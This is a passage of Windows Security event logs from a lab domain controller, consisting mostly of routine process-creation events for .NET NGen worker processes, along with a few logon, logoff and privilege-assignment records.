a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255121 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7c8 -InterruptEvent 0 -NGENProcess 7a4 -Pipe 700 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255120 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 754 -Pipe 7a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255127 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7bc -InterruptEvent 0 -NGENProcess 7f0 -Pipe 7e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255126 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 79c -InterruptEvent 0 -NGENProcess 78c -Pipe 7fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255125 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 7cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255124 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 79c -InterruptEvent 0 -NGENProcess 7e0 -Pipe 648 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255133 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 7e4 -Pipe 7b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255132 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7a0 -InterruptEvent 0 -NGENProcess 7e8 -Pipe 7f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255131 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 7bc -Pipe 7c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255130 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 7b0 -Pipe 7b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255129 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255128 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7f8 -InterruptEvent 0 -NGENProcess 7a0 -Pipe 7f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 7e8 -Pipe 754 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255136 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1DC11D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:08:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255139 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x28AED6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:08:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255138 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x28AED6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62545 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:08:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255137 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x28AED6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:09:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255145 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 80c -Pipe 79c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255144 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7c4 -InterruptEvent 0 -NGENProcess 7a0 -Pipe 75c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User 